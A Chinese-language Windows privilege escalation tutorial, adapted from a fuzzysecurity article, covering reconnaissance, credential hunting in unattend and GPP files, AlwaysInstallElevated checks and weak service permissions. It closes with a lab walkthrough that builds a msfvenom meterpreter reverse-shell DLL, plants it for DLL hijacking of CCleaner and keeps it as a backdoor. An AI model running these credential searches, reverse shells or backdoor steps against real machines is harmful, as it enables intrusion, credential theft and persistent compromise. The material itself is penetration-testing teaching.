來自:信安之路(微訊號:xazlsec)
作者:TimeS0ng,本篇教程是筆者翻譯國外大牛 fuzzysecurity 的文章
http://www.fuzzysecurity.com/tutorials/16.html
再加上個人的理解寫出的關於 Windows 提權基礎的文章,其中有些地方因為不太實用所以做了適當修改,感謝 @hl0rey
的幫助和建議。
Indispensable Resources:
Encyclopaedia Of Windows Privilege Escalation (Brett Moore)
Windows Attacks: AT is the new black (Chris Gates & Rob Fuller)
Elevating privileges by exploiting weak folder permissions (Parvez Anwar)
Δt for t0 to t3 – Initial Information Gathering
這個教程從 Windows 的低許可權 shell 開始講述如何提權。我們可能利用某個 EXP 或者從客戶端攻擊取得了一個反彈 shell 。最開始我們還不瞭解這臺計算機,不知道它是乾什麼用的,連線到哪裡,有什麼等級的許可權或者甚至不知道它是什麼作業系統。
最初我們希望快速的收集一些重要的資訊,以便我們能夠評估我們所處的狀況,並作出正確的判斷!
首先檢視連線的是什麼作業系統:
接下來檢視主機名和當前shell 的使用者名稱:
現在我們已經有了基本資訊,讓我們繼續列出其他的使用者賬號名並檢視我們自己更詳細的資訊。能夠看到我們的賬號 user1 不在 localgroup Administrators 中,不是管理員賬號。
以上就是我們目前需要瞭解的使用者和許可權資訊。接下來我們檢視網路配置資訊。
首先我們檢視可用的網絡卡和路由表
下麵使用 netstat 命令檢視主機的網路連線和防火牆規則
最後我們簡單的看看主機執行的內容:計劃任務、正在執行的行程、已經啟動的服務和已經安裝的驅動
Δt for t4 – The Arcane Arts Of WMIC
我想要單獨提及一下 WMIC (Windows Management Instrumentation Command-Line) ,因為它是 Windows 最有用的命令列工具。WMIC 對於資訊收集和後滲透來說非常有用。不過這個工具比較重量級,所以不會一一介紹它的所有功能。
下麵連結有關於它的詳細使用教程,有興趣的可以去自己翻譯看看:
Windows WMIC Command Line (ComputerHope)
https://www.computerhope.com/wmic.htm
令人遺憾的是有些 Windows 的預設配置不允許使用 WMIC,除非使用者是在管理員組裡面。從對 WMIC 的測試中我註意到任何版本的 XP 系統都不允許低許可權賬號使用 WMIC。相反,預設安裝的 Windows 7 Professional 和 Windows 8 企業版卻允許使用低許可權賬號使用 WMIC 來查詢系統資訊而不需要修改任何設定。驚不驚喜,意不意外?
為了簡化操作,貢獻社會,方便大家,我寫了一個自動化指令碼,它將利用 WMIC 收集以下資訊:行程,服務,使用者帳戶,使用者組,網路介面,硬碟驅動器資訊,網路共享資訊,已安裝的 Windows 補丁程式,啟動時執行的程式,已安裝軟體串列,作業系統和時區資訊。
你可以從這裡下載我的指令碼
http://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
你也可以從這裡下載我利用指令碼收集的資訊樣本
http://www.fuzzysecurity.com/tutorials/files/Win7.html
Δt for t5 to t6 – Quick Fails
繼續後續步驟之前,你應該花一點時間回顧以下剛才所收集到的資訊,因為現在我們已經得到作業系統大量的有用資訊了.
儘管已經透過我的 WMIC 指令碼收集到主機的補丁資訊了,但是我們仍然可以透過下麵的命令來手動收集。
提權的 EXP 就那麼幾個,可以檢視一下系統是否打有相關漏洞的補丁,沒打補丁就嘿嘿嘿了,常見的 EXP 有這些:
https://github.com/SecWiki/windows-kernel-exploits
大家可以下載對應版本的 Windows 試試這些 EXP。
下一個情景是如果某個環境中有大量的機器需要被安裝,那麼技術人員通常不會一個接一個機器的去安裝,他們通常會選擇自動化安裝,這就可能會遺留下安裝過程的配置檔案,這些配置檔案中會包含許多敏感資訊,例如管理員賬號密碼,如果能得到這些資訊將極大的幫助我們提權。
通常這些敏感檔案會出現在下麵目錄中:
c:sysprep.inf
c:sysprepsysprep.xml
%WINDIR%PantherUnattendUnattended.xml
%WINDIR%PantherUnattended.xml
這些配置檔案極可能包含明文密碼,也可能會出現 base64 編碼的情況,下麵是一些配置檔案的事例:
GPO 首選項檔案可用於在域計算機上建立本地使用者,當你控制的主機連線在域中時,那麼就非常值得去看看儲存在 SYSVOL 中的 Groups.xml 檔案,任何經過身份認證的使用者都可以讀取該檔案。儘管 xml 檔案中的密碼透過使用 AES 加密來保證安全性,但是透過 msdn 釋出的靜態金鑰可以很輕鬆的解密。
除了 Groups.xml 以外,其他幾個策略首選項檔案也可能存在 “cPassword” 屬性
ServicesServices.xml
: Element-Specific Attributes
ScheduledTasksScheduledTasks.xml
: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
PrintersPrinters.xml
: SharedPrinter Element
DrivesDrives.xml
: Element-Specific Attributes
DataSourcesDataSources.xml
: Element-Specific Attributes
如下所示,可以透過手動瀏覽 SYSVOL 並獲取相關檔案來利用此漏洞。
除了上面手動查詢首選項檔案之外,我們也可以利用自動化工具來幫助我們達到目的。
可以利用 msf 中的一個後滲透模組來實現自動化 post/windows/gather/credentials/gpp
https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp
接下來我們要查詢一個奇怪的登錄檔設定 “AlwaysInstallElevated” , 如果啟動此設定,它會允許任何使用者將 *.msi 檔案安裝為 NT AUTHORITY SYSTEM 。
為了能夠利用這個,我們需要檢查兩個登錄檔項是否已經設定,如果在這種情況下我們能夠彈出 SYSTEM shell. 透過下麵的命令可以檢視登錄檔項是否啟動。不過筆者測試時發現自己的 Windows7 並沒有這兩個鍵值。
This will only work if both registry keys contain “AlwaysInstallElevated” with DWORD values of 1.
C:Windowssystem32> reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
C:Windowssystem32> reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated
最後我們也可能透過下麵的命令來挖到未知的寶藏
The command below will search the file system for file names containing certain keywords. You can specify as many keywords as you wish.
C:Windowssystem32> dir /s *pass* == *cred* == *vnc* == *.config*
Search certain file types for a keyword, this can generate a lot of output.
C:Windowssystem32> findstr /si password *.xml *.ini *.txt
Similarly the two commands below can be used to grep the registry for keywords, in this case “password”.
C:Windowssystem32> reg query HKLM /f password /t REG_SZ /s
C:Windowssystem32> reg query HKCU /f password /t REG_SZ /s
Δt for t7 to t10 – Roll Up Your Sleeves
希望到目前為止我們已經成功提權,如果確實還沒有成功提權的話下麵還有一些攻擊方法。在這最後一部分,我們會檢視 Windows 服務和檔案/檔案夾 許可權,我們的目的是利用弱許可權來進行提權。當然這裡最主要是針對 Windows XP 系統。
接下來我們將利用一個 Windows 中大神級的工具集 Sysinternals Suite 中的 accesschk.exe 來批次檢查許可權資訊,讀者可以從這裡下載這個工具集
https://download.sysinternals.com/files/SysinternalsSuite.zip
接下來我們從 Windows 的服務開始,透過重新配置 service 的引數能夠讓我們快速達到目的。
我們也可以使用 accesschk 來檢查每個服務的許可權級別
Accesschk 能夠自動檢查在某個使用者等級下我們對於 Windows 服務是否具有寫入許可權。作為一個低許可權的使用者,我們通常會想要去檢查 “Authenticated Users” 。
咱們來比較一下在 Windows 8 和 Windows XP SP0 中輸出的不同,
透過以上資訊,我們能看到 upnphost 具有很大的許可權,下麵我將演示一下如何實際應用這些資訊來反彈 system shell
下圖列出了關於 Windows 提權的一些介紹,任何這些訪問許可權都將給我們帶來 SYSTEM shell.
以上大部分都是根據外文翻譯過來的,然後我做了適當修改,再次感謝大哥 @hl0rey
的建議和幫助,下麵大家講一講我自己的騷姿勢,雖然技術內容都不是我自己發明的,但是我將幾種技術雜糅在一起之後居然產生了讓我自己都感到驚訝的效果!!
DLL 劫持原理
程式通常不能靠自己自動執行,它們往往需要呼叫許多資源(主要是 DLL 檔案,Windows 中的動態連結庫)。如果程式或者服務從一個我們擁有寫許可權的目錄裡載入檔案時,我們就能夠利用這一點來彈 shell,當然這個 shell 的許可權也就是該程式所擁有的許可權。
通常來說 Windows 程式會使用一個預定義搜尋路徑去尋找 DLL 檔案,並且會按照特定的順序來檢索這些路徑。當將惡意的 DLL 檔案放到其中一個路徑下,並保證該惡意 DLL 先於合法的 DLL 被程式找到時就會發生 DLL 劫持;也可能是程式尋找的 DLL 檔案名在系統中並不存在,這時我們只需將自己定製的 DLL 檔案放到程式的搜尋路徑也可以達到目的
下麵你可以看到在一個 32 位系統中 DLL 的搜尋順序:
1 – The directory from which the application loaded
2 – 32-bit System directory (C:WindowsSystem32)
3 – 16-bit System directory (C:WindowsSystem)
4 – Windows directory (C:Windows)
5 – The current working directory (CWD)
6 – Directories in the PATH environment variable (system then user)
透過上面的搜尋路徑可以看到第六點環境變數,這也是我們比較容易控制的路徑,如果標的裝有 python,那麼 Path = C:Python27
就是我們可以控制的路徑,我們只需要將惡意定製的 DLL 檔案放到這個目錄就可以。
實戰演示
1、首先我在知乎上隨便搜了點關於 Windows 中的軟體,然後隨便選了一個感覺可能存在 DLL 劫持的軟體安裝到我的 Windows 7 虛擬機器中
2、然後呼叫工具 DllHijackAuditor
https://securityxploded.com/getsoftware_direct.php?id=7777
自動檢測我們剛才下載的軟體是否存在 DLL 劫持,根據下圖可以看到這裡面存在一共 5 個 DLL 檔案可供我們惡意劫持,這是我沒想到的,我確實是在網上隨便搜了一個軟體而已,沒想到居然會這麼不經摧折!
3、接下來我們利用 msfvenom 生成檔案名為 ext-ms-win-kernel32-package-current-l1-1-0.dll 的 DLL 木馬,用於進行 DLL 劫持。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.175.143 lport=4444 -f dll -o /root/ext-ms-win-kernel32-package-current-l1-1-0.dll
4、檢視 Windows 的環境變數,並將 DLL 木馬檔案放入可控的環境變數中,這樣當我們啟動 CCleaner 軟體的時候就會呼叫我們的 DLL 木馬檔案反彈 shell
echo %path%
5、啟動 msf 的監聽樣式,默默等待使用者執行軟體,可以看到我們現在只是普通管理員許可權
6、從 meterpreter 進入 shell 樣式,然後我們手動構建一個存在漏洞的服務,以便後續進行提權到 SYSTEM
sc create “times0ng test” binPath= “C:Program Files (x86) imes0ng testjust testevil.exe” start= auto
cd C:Program Files (x86)
mkdir “times0ng testjust test”
icacls “C:Program Files (x86) imes0ng test” /grant Everyone:(OI)(CI)F /T
7、呼叫 msf 的提權模組進行提權,可以看到我們很容易就取得了 SYSTEM 許可權
use exploit/windows/local/trusted_service_path
8、重啟 win 7 ,我們的 DLL 木馬仍然靜靜地躺在那裡充當著忠實可靠的後門,一旦使用者執行 CCleaner 就會觸發木馬(想象一下如果把 CCleaner 換成系統服務,還是開機自動啟動項,那麼一旦使用者重啟計算機就會觸發後門反彈給我們 SYSTEM shell)
相關視屏演示 https://m.bilibili.com/video/av21971995.html
●編號596,輸入編號直達本文
●輸入m獲取文章目錄
Linux學習
更多推薦《18個技術類微信公眾號》
涵蓋:程式人生、演演算法與資料結構、駭客技術與網路安全、大資料技術、前端開發、Java、Python、Web開發、安卓開發、iOS開發、C/C++、.NET、Linux、資料庫、運維。